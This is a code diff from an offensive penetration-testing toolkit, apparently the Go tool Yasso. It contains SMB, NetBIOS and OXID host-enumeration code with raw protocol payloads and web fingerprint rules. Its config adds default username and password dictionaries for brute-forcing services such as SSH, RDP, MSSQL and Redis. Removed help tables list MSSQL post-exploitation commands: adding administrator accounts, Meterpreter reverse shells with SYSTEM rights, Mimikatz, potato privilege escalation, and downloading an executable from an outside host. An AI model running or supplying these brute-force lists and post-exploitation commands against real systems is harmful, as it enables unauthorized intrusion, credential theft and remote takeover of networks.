payload1 := []byte("\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00")
|
||||
payload2 := []byte("\x00\x00\x01\x0a\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00\x0c\xff\x00\x0a\x01\x04\x41\x32\x00\x00\x00\x00\x00\x00\x00\x4a\x00\x00\x00\x00\x00\xd4\x00\x00\xa0\xcf\x00\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\xce\x0e\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x33\x00\x37\x00\x39\x00\x30\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x32\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x35\x00\x2e\x00\x32\x00\x00\x00\x00\x00")
|
||||
_, err = conn.Write(payload1)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = readbytes(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
_, err = conn.Write(payload2)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
ret, err := readbytes(conn)
|
||||
if err != nil || len(ret) < 45 {
|
||||
return
|
||||
}
|
||||
|
||||
num1, err := bytetoint(ret[43:44][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
num2, err := bytetoint(ret[44:45][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
length := num1 + num2*256
|
||||
if len(ret) < 48+length {
|
||||
return
|
||||
}
|
||||
os_version := ret[47+length:]
|
||||
tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124})
|
||||
tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{})
|
||||
msg1 := string(tmp1[:len(tmp1)-1])
|
||||
nbname.osversion = msg1
|
||||
index1 := strings.Index(msg1, "|")
|
||||
if index1 > 0 {
|
||||
nbname.osversion = nbname.osversion[:index1]
|
||||
}
|
||||
nbname.msg += "\n\t-------------------------------------------\n\t"
|
||||
nbname.msg += msg1 + "\n\t"
|
||||
start := bytes.Index(ret, []byte("NTLMSSP"))
|
||||
if len(ret) < start+45 {
|
||||
return
|
||||
}
|
||||
num1, err = bytetoint(ret[start+40 : start+41][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
num2, err = bytetoint(ret[start+41 : start+42][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
length = num1 + num2*256
|
||||
num1, err = bytetoint(ret[start+44 : start+45][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
offset, err := bytetoint(ret[start+44 : start+45][0])
|
||||
if err != nil || len(ret) < start+offset+length {
|
||||
return
|
||||
}
|
||||
index := start + offset
|
||||
for index < start+offset+length {
|
||||
item_type := ret[index : index+2]
|
||||
num1, err = bytetoint(ret[index+2 : index+3][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
num2, err = bytetoint(ret[index+3 : index+4][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
item_length := num1 + num2*256
|
||||
item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{})
|
||||
index += 4 + item_length
|
||||
if string(item_type) == "\x07\x00" {
|
||||
//Time stamp, 暂时不想处理
|
||||
} else if NetBIOS_ITEM_TYPE[string(item_type)] != "" {
|
||||
nbname.msg += fmt.Sprintf("%-22s: %s\n\t", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content))
|
||||
} else if string(item_type) == "\x00\x00" {
|
||||
break
|
||||
} else {
|
||||
nbname.msg += fmt.Sprintf("Unknown: %s\n\t", string(item_content))
|
||||
}
|
||||
}
|
||||
nbname.msg = strings.TrimSpace(nbname.msg)
|
||||
return nbname, err
|
||||
}
|
||||
|
||||
func getNbnsname(host string) (nbname NbnsName, err error) {
|
||||
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
|
||||
realhost := fmt.Sprintf("%s:%v", host, 137)
|
||||
conn, err := net.DialTimeout("udp", realhost, TimeDuration)
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
}
|
||||
}()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = conn.SetDeadline(time.Now().Add(TimeDuration))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = conn.Write(senddata1)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text, err := readbytes(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if len(text) < 57 {
|
||||
return nbname, fmt.Errorf("no names available")
|
||||
}
|
||||
num, err := bytetoint(text[56:57][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
data := text[57:]
|
||||
msg := ""
|
||||
for i := 0; i < num; i++ {
|
||||
if len(data) < 18*i+16 {
|
||||
break
|
||||
}
|
||||
name := string(data[18*i : 18*i+15])
|
||||
flag_bit := data[18*i+15 : 18*i+16]
|
||||
if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
|
||||
msg += fmt.Sprintf("%s G %s\n\t", name, GROUP_NAMES[string(flag_bit)])
|
||||
} else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
|
||||
msg += fmt.Sprintf("%s U %s\n\t", name, UNIQUE_NAMES[string(flag_bit)])
|
||||
} else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 {
|
||||
name_flags := data[18*i+16 : 18*i+18][0]
|
||||
if name_flags >= 128 {
|
||||
nbname.group = strings.Replace(name, " ", "", -1)
|
||||
msg += fmt.Sprintf("%s G %s\n\t", name, GROUP_NAMES[string(flag_bit)])
|
||||
} else {
|
||||
nbname.unique = strings.Replace(name, " ", "", -1)
|
||||
msg += fmt.Sprintf("%s U %s\n\t", name, UNIQUE_NAMES[string(flag_bit)])
|
||||
}
|
||||
} else {
|
||||
msg += fmt.Sprintf("%s \n\t", name)
|
||||
}
|
||||
}
|
||||
nbname.msg += msg
|
||||
nbname.msg = strings.TrimSpace(nbname.msg)
|
||||
return
|
||||
}
|
||||
|
||||
func bytetoint(text byte) (int, error) {
|
||||
num1 := fmt.Sprintf("%v", text)
|
||||
num, err := strconv.Atoi(num1)
|
||||
return num, err
|
||||
}
|
||||
|
||||
func readbytes(conn net.Conn) (result []byte, err error) {
|
||||
buf := make([]byte, 4096)
|
||||
for {
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
result = append(result, buf[0:count]...)
|
||||
if count < 4096 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return result, err
|
||||
}
|
||||
|
||||
func netbiosEncode(name string) (output []byte) {
|
||||
var names []int
|
||||
src := fmt.Sprintf("%-16s", name)
|
||||
for _, a := range src {
|
||||
char_ord := int(a)
|
||||
high_4_bits := char_ord >> 4
|
||||
low_4_bits := char_ord & 0x0f
|
||||
names = append(names, high_4_bits, low_4_bits)
|
||||
}
|
||||
for _, one := range names {
|
||||
out := one + 0x41
|
||||
output = append(output, byte(out))
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func Connectoxid(ip string, port int) (string, int, error, []string) {
|
||||
conn, err := GetConn(fmt.Sprintf("%v:%v", ip, port), TimeDuration)
|
||||
if err != nil {
|
||||
return ip, port, err, nil
|
||||
}
|
||||
defer conn.Close()
|
||||
err, oxidres := oxidIpInfo(conn)
|
||||
if err != nil {
|
||||
return ip, port, err, nil
|
||||
} else {
|
||||
return ip, port, nil, oxidres
|
||||
}
|
||||
}
|
||||
|
||||
func oxidIpInfo(conn net.Conn) (error, []string) {
|
||||
|
||||
buf := make([]byte, 256)
|
||||
_, err := conn.Write(oxidQuery1[:])
|
||||
if err != nil {
|
||||
return err, nil
|
||||
}
|
||||
_, err = conn.Read(buf)
|
||||
if err != nil {
|
||||
return err, nil
|
||||
}
|
||||
_, err = conn.Write(oxidQuery2[:])
|
||||
if err != nil {
|
||||
return err, nil
|
||||
}
|
||||
_, err = conn.Read(buf)
|
||||
if err != nil {
|
||||
return err, nil
|
||||
}
|
||||
end := bytes.Index(buf, []byte{0x00, 0x00, 0x09, 0x00, 0xff, 0xff, 0x00, 0x00})
|
||||
if len(buf) < 40 || end == -1 {
|
||||
return fmt.Errorf(""), nil
|
||||
}
|
||||
buf = buf[40:end]
|
||||
var oxidRes []string
|
||||
for i := bytes.Index(buf, []byte{0x00, 0x00, 0x00}); i != -1; {
|
||||
res := buf[1:i]
|
||||
res = bytes.Replace(res, []byte{0x00}, []byte(""), -1)
|
||||
oxidRes = append(oxidRes, string(res))
|
||||
buf = buf[i+3:]
|
||||
i = bytes.Index(buf, []byte{0x00, 0x00, 0x00})
|
||||
}
|
||||
return nil, oxidRes
|
||||
}
|
||||
|
||||
func smbinfo(conn net.Conn) (error, []string) {
|
||||
buf := make([]byte, 1024)
|
||||
_, err := conn.Write(smbQuery[:])
|
||||
if err != nil {
|
||||
return err, nil
|
||||
}
|
||||
_, err = conn.Read(buf)
|
||||
if err != nil {
|
||||
return err, nil
|
||||
}
|
||||
if len(buf) < 81 {
|
||||
return fmt.Errorf(""), nil
|
||||
}
|
||||
buf = buf[81:]
|
||||
end := bytes.Index(buf, []byte{0x00, 0x00, 0x00})
|
||||
var smbRes []string
|
||||
domain := buf[:end]
|
||||
hostname := buf[end:]
|
||||
domain = bytes.Replace(domain, []byte{0x00}, []byte(""), -1)
|
||||
hostname = bytes.Replace(hostname, []byte{0x00}, []byte(""), -1)
|
||||
smbRes = append(smbRes, "domain: "+string(domain))
|
||||
smbRes = append(smbRes, "hostname: "+string(hostname))
|
||||
return nil, smbRes
|
||||
}
|
||||
|
||||
func Connectsmb(ip string, port int) (string, int, error, []string) {
|
||||
conn, err := GetConn(fmt.Sprintf("%v:%v", ip, port), TimeDuration)
|
||||
if err != nil {
|
||||
return ip, port, err, nil
|
||||
}
|
||||
defer conn.Close()
|
||||
ok, smbRes := smbinfo(conn)
|
||||
if ok == nil {
|
||||
return ip, port, nil, smbRes
|
||||
} else {
|
||||
return ip, port, ok, nil
|
||||
}
|
||||
}
|
||||
|
||||
func OxidScan(host []string) {
|
||||
//result := PortScan(host,[]int{135})
|
||||
var wg sync.WaitGroup
|
||||
for _, v := range host {
|
||||
wg.Add(1)
|
||||
go func(v string) {
|
||||
defer wg.Done()
|
||||
_, _, err, r := Connectoxid(v, 135)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if len(r) >= 2 {
|
||||
Println(fmt.Sprintf("[OXID] Hostname %v Network %v", r[0], r[1:]))
|
||||
} else {
|
||||
Println(fmt.Sprintf("[OXID] %v", r))
|
||||
}
|
||||
}(v)
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func SmbScan(host []string) {
|
||||
var wg sync.WaitGroup
|
||||
for _, v := range host {
|
||||
wg.Add(1)
|
||||
go func(v string) {
|
||||
defer wg.Done()
|
||||
ip, _, err, r := Connectsmb(v, 445)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if len(r) >= 2 {
|
||||
Println(fmt.Sprintf("[SMB] IP %s %v", ip, r))
|
||||
}
|
||||
}(v)
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func NbtScan(host []string) {
|
||||
var wg sync.WaitGroup
|
||||
for _, v := range host {
|
||||
wg.Add(1)
|
||||
go func(v string) {
|
||||
defer wg.Done()
|
||||
_, _, err, r := ConncetNbios(v, 139)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for _, s := range r {
|
||||
Println(fmt.Sprintf("[+] %v", v))
|
||||
Println(fmt.Sprintf("\t%v", s))
|
||||
}
|
||||
|
||||
}(v)
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func runall(host []string) {
|
||||
var wg sync.WaitGroup
|
||||
for _, v := range host {
|
||||
wg.Add(1)
|
||||
go func(v string) {
|
||||
defer wg.Done()
|
||||
func(v string) {
|
||||
_, _, err, r := ConncetNbios(v, 139)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for _, s := range r {
|
||||
Println(fmt.Sprintf("[NBTBIOS] %v", v))
|
||||
Println(fmt.Sprintf("\t%v", s))
|
||||
}
|
||||
}(v)
|
||||
func(v string) {
|
||||
ip, _, err, r := Connectsmb(v, 445)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if len(r) >= 2 {
|
||||
Println(fmt.Sprintf("[SMB] IP %s %v", ip, r))
|
||||
}
|
||||
}(v)
|
||||
func(v string) {
|
||||
_, _, err, r := Connectoxid(v, 135)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if len(r) >= 2 {
|
||||
Println(fmt.Sprintf("[OXID] Hostname %v Network %v", r[0], r[1:]))
|
||||
} else {
|
||||
Println(fmt.Sprintf("[OXID] %v", r))
|
||||
}
|
||||
}(v)
|
||||
|
||||
}(v)
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
16
config/banner/banner.go
Normal file
16
config/banner/banner.go
Normal file
@@ -0,0 +1,16 @@
|
||||
package banner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
)
|
||||
|
||||
func Banner() {
|
||||
fmt.Println("_____.___. ____ ___\n\\__ | |____ ______ __________\\ \\/ /\n / | \\__ \\ / ___// ___/ _ \\\\ / \n \\____ |/ __ \\_\\___ \\ \\___ ( <_> ) \\ \n / ______(____ /____ >____ >____/___/\\ \\\n \\/ \\/ \\/ \\/ \\_/")
|
||||
fmt.Println()
|
||||
fmt.Println("Refactoring version: Yasso v0.1.6")
|
||||
fmt.Println("法律免责声明:")
|
||||
fmt.Println("本工具仅面向合法授权的企业安全建设行为,如果需要测试本工具的可用性,请自行搭建靶场检测")
|
||||
fmt.Println("在使用本工具时,请确保你的操作符合当地的法律法规,并且获取到足够的授权,请勿对非授权目标使用")
|
||||
fmt.Println("使用本工具造成的非法行为,你需要自行承担后果,我们不受任何的法律及其连带责任,如果使用本工具,则视为接受本协议")
|
||||
fmt.Println("Github: github.com/sairson/Yasso")
|
||||
}
|
||||
@@ -1,77 +1,50 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"time"
|
||||
)
|
||||
import "time"
|
||||
|
||||
// about login struct
|
||||
|
||||
type HostIn struct {
|
||||
Host string
|
||||
// ServiceConn service 连接所需要的结构体
|
||||
type ServiceConn struct {
|
||||
Hostname string
|
||||
Port int
|
||||
Domain string
|
||||
TimeOut time.Duration
|
||||
Timeout time.Duration
|
||||
PublicKey string
|
||||
}
|
||||
|
||||
// 爆破的默认用户名
|
||||
|
||||
var Userdict = map[string][]string{
|
||||
var UserDict = map[string][]string{
|
||||
"ftp": {"kali", "ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
|
||||
"mysql": {"root", "mysql"},
|
||||
"mssql": {"sa", "sql"},
|
||||
"smb": {"administrator", "admin", "guest"},
|
||||
"rdp": {"administrator", "admin", "guest", "Oadmin"},
|
||||
"winrm": {"administrator", "admin", "guest"},
|
||||
"postgres": {"postgres", "admin"},
|
||||
"ssh": {"root", "admin", "kali", "oracle", "www"},
|
||||
"mongodb": {"root", "admin"},
|
||||
"redis": {"root"},
|
||||
}
|
||||
|
||||
// 爆破的默认密码
|
||||
var PassDict = []string{"123456", "admin", "admin123", "12312", "pass123", "pass@123", "11", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "kali"}
|
||||
|
||||
var Passwords = []string{"123456", "admin", "admin123", "root", "12312", "pass123", "pass@123", "930517", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "kali"}
|
||||
var DefaultScannerPort = []int{21, 22, 25, 53, 69, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 110, 135, 137, 138, 139, 143, 389, 443, 445, 554, 587, 631, 800, 801, 808, 880, 888, 1000, 1024, 1025, 1080, 1099, 1389, 1433, 1521, 2000, 2001, 2222, 2601, 3306, 3307, 3388, 3389, 3443, 5800, 5900, 6379, 7000, 7001, 7007, 7010, 7788, 8000, 8001, 8002, 8003, 8004, 8005, 8006, 8007, 8008, 8009, 8010, 8011, 8030, 8060, 8070, 8080, 8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089, 8090, 8091, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099, 8161, 8175, 8188, 8189, 8443, 8445, 8448, 8554, 8800, 8848, 8880, 8881, 8888, 8899, 8983, 8989, 9000, 9001, 9002, 9008, 9010, 9043, 9060, 9080, 9081, 9082, 9083, 9084, 9085, 9086, 9087, 9088, 9089, 9090, 9091, 9092, 9093, 9094, 9095, 9096, 9097, 9099, 9443, 9448, 9600, 9628, 9800, 9899, 9981, 9986, 9988, 9998, 9999, 11001, 13443, 15000, 20000, 33890, 45554, 49155, 49156, 50050, 61616}
|
||||
|
||||
var WarKitHelp = [][]string{
|
||||
{"**IF You Want SQL Command Execute**", "declare @result varchar(4000);EXEC sp_cmdExec 'ipconfig',@result output; select @result"},
|
||||
{"EXEC sp_cmdExec 'whoami'", "Any Windows command"},
|
||||
{"EXEC sp_cmdExec 'whoami /RunSystemPriv'", "Any Windows command with NT AUTHORITY\\SYSTEM rights"},
|
||||
{`EXEC sp_cmdExec '"net user eyup P@ssw0rd1 /add"`, "Adding users with RottenPotato (Kumpir)"},
|
||||
{`EXEC sp_cmdExec '"net localgroup administrators eyup /add" /RunSystemPriv'`, "Adding user to localgroup with RottenPotato (Kumpir)"},
|
||||
{`EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS'`, "(Powershell) with RottenPotato (Kumpir)"},
|
||||
{`EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'`, `x86 Meterpreter Reverse Connection with NT AUTHORITY\SYSTEM`},
|
||||
{`EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem`, "x64 Meterpreter Reverse Connection with NT AUTHORITY\\SYSTEM"},
|
||||
{`EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'`, "x86 Meterpreter Reverse Connection RC4 with NT AUTHORITY\\SYSTEM, RC4PASSWORD=warsql"},
|
||||
{`EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'`, "x86 Meterpreter Bind Connection with NT AUTHORITY\\SYSTEM"},
|
||||
{`EXEC sp_cmdExec 'sp_Mimikatz'`, `select * from WarSQLKitTemp => Get Mimikatz Log`},
|
||||
{`EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\ProgramData\file.exe 300'`, `Download File`},
|
||||
{`EXEC sp_cmdExec 'sp_getSqlHash'`, `Get MSSQL Hash`},
|
||||
{`EXEC sp_cmdExec 'sp_getProduct'`, `Get Windows Product`},
|
||||
{`EXEC sp_cmdExec 'sp_getDatabases'`, `Get Available Databases`},
|
||||
var DefaultHeader = map[string]string{
|
||||
"Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6",
|
||||
"User-agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36",
|
||||
"Cookie": "rememberMe=int",
|
||||
}
|
||||
|
||||
var SharpKitHelp = [][]string{
|
||||
{"EXEC ClrExec 'clr_ping ip'", "Detect whether the target is reachable"},
|
||||
{"EXEC ClrExec 'clr_cat filename'", "Viewing target file Contents"},
|
||||
{`EXEC ClrExec 'clr_ls dir'`, "Listing directory files"},
|
||||
{`EXEC ClrExec 'clr_rm filename'`, "rm traget file"},
|
||||
{`EXEC ClrExec 'clr_getav'`, "List target host kill software"},
|
||||
{`EXEC ClrExec 'clr_rdp'`, `Open the remote desktop and return to the remote desktop port`},
|
||||
{`EXEC ClrExec 'clr_efspotato whoami'`, "Calls efspotato to execute system commands"},
|
||||
{`EXEC ClrExec 'clr_badpotato whoami'`, "Calls badpotato to execute system commands"},
|
||||
{`EXEC ClrExec 'clr_netstat'`, "Listing netstat -an result"},
|
||||
type Format struct {
|
||||
Host string `json:"Host,omitempty"` // 主机地址
|
||||
Port []int `json:"Port,omitempty"`
|
||||
Service []*Service `json:"Service,omitempty"`
|
||||
Vulnerability []string `json:"Vulnerability,omitempty"`
|
||||
}
|
||||
|
||||
var (
|
||||
// DisMapPorts TODO: dismp 默认端口号
|
||||
type Service struct {
|
||||
Name string `json:"Name,omitempty"`
|
||||
Information []string `json:"Information,omitempty"`
|
||||
WeakPass []map[string]string `json:"WeakPass,omitempty"` // 一个服务可能有好几个口令,所以采用切片类型
|
||||
}
|
||||
|
||||
DisMapPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,443,800,801,808,880,888,889,1000,1080,1880,1881,2000,2001,2601,3443,7001,7007,7010,7070,7878,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8011,8012,8016,8017,8018,8019,8022,8029,8030,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8105,8108,81110,8161,8175,8188,8189,8200,8201,8222,8300,8360,8443,8445,8448,8484,8499,8500,8800,8848,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9300,9443,9448,9500,9628,9800,9899,9981,9986,9988,9998,9999,11001"
|
||||
|
||||
// DefaultHeader TODO: 默认User-Agent
|
||||
|
||||
DefaultHeader = map[string]string{
|
||||
"Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6",
|
||||
"User-agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36",
|
||||
"Cookie": "rememberMe=int",
|
||||
}
|
||||
)
|
||||
var JSONSave []*Format
|
||||
|
||||
@@ -22,9 +22,13 @@ type RuleLab struct {
|
||||
Http ReqHttp
|
||||
}
|
||||
|
||||
//TODO: dismap指纹 https://github.com/zhzyker/dismap/blob/main/config/rule.go
|
||||
|
||||
var RuleData = []RuleLab{
|
||||
{1, "EnterCRM", "body", "", InStr{"(Ent.base.js)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "MeterSphere", "body", "", InStr{"(<title>MeterSphere</title>)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{3, "Apache Druid", "body", "", InStr{"(<title>Apache Druid</title>|content=\"Apache Druid console\")", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{2, "Alibaba Druid", "body", "", InStr{"(<meta http-equiv=\"refresh\" content=\"0;url=faq.html\">\n(.*)<title>Welcome</title>|click(druid.login.login)|<title>druid monitor</title>|druid.common.buildHead|druid.index.init())", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{3, "Sunlogin", "body|header", "and", InStr{"(\"msg\":\"Verification failure\")", "(application/json|text/html)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
|
||||
{1, "08CMS", "body", "", InStr{"(content=\"08cms|typeof(_08cms))", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "1039soft-JiaXiao", "body", "", InStr{"(name=\"hid_qu_type\" id=\"hid_qu_type\"|/handler/validatecode.ashx?id=)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "17mail", "body", "", InStr{"(//易企邮正式版发布)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -51,7 +55,7 @@ var RuleData = []RuleLab{
|
||||
{1, "360-Webscan", "body", "", InStr{"(webscan.360.cn/status/pai/hash)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "360WiFi-Expander", "body", "", InStr{"(id=\"slogan\">欢迎使用360wifi扩展器</div>)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "365webcall", "body", "", InStr{"(src='http://www.365webcall.com/imme1.aspx?)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "365xxy-Examing", "body", "", InStr{"(href=https://unpkg.com/element-ui/lib/theme-chalk/index.css|<title>云时政在线考试系统</title>)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "365xxy-Examing", "body", "", InStr{"(href=https://unpkg.com/element-ui/internal/theme-chalk/index.css|<title>云时政在线考试系统</title>)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "3-byte-invalid-favicon", "ico", "", InStr{"", "", "(ecaa88f7fa0bf610a5a26cf545dcd3aa)"}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "3Com-3CDSG8", "body", "", InStr{"(content=\" 3cdsg8\")", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "3Com-NJ2000", "body", "", InStr{"(content=\"3com intellijack nj2000\")", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -101,7 +105,7 @@ var RuleData = []RuleLab{
|
||||
{1, "activeWeb-Content-Server", "body", "", InStr{"(awnocachebegin__awnocachebegin__awnocachebegin__awnocachebegin__awnocachebegin)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "activeWeb-Content-Server", "header", "", InStr{"", "(x-awcache)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "ACT-Manager", "body|header", "or", InStr{"(url:\"/ucenter/login/loginaction!gettitle.action\",|<script>location.href=\"ucenter\";</script>)", "(path=/ucenter/; secure; httponly)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{3, "Acunetix", "body", "", InStr{"(logo.src = 'assets/images/acunetix-logo-full-new-black.svg'|title>Acunetix</title>|<acx-root></acx-root>)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{3, "Acunetix", "body", "", InStr{"(acunetix-logo-full-new-black.svg|title>Acunetix</title>|<acx-root></acx-root>|<html ng-app=\"WVS\")", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Adaptec-maxView", "body", "", InStr{"(action=\"/maxview/manager/login.xhtml)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Adcon-Telemetry-Gateway", "body|header", "or", InStr{"(adcon telemetry gmbh;|welcome to the a840 telemetry gateway!)", "(addupi)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
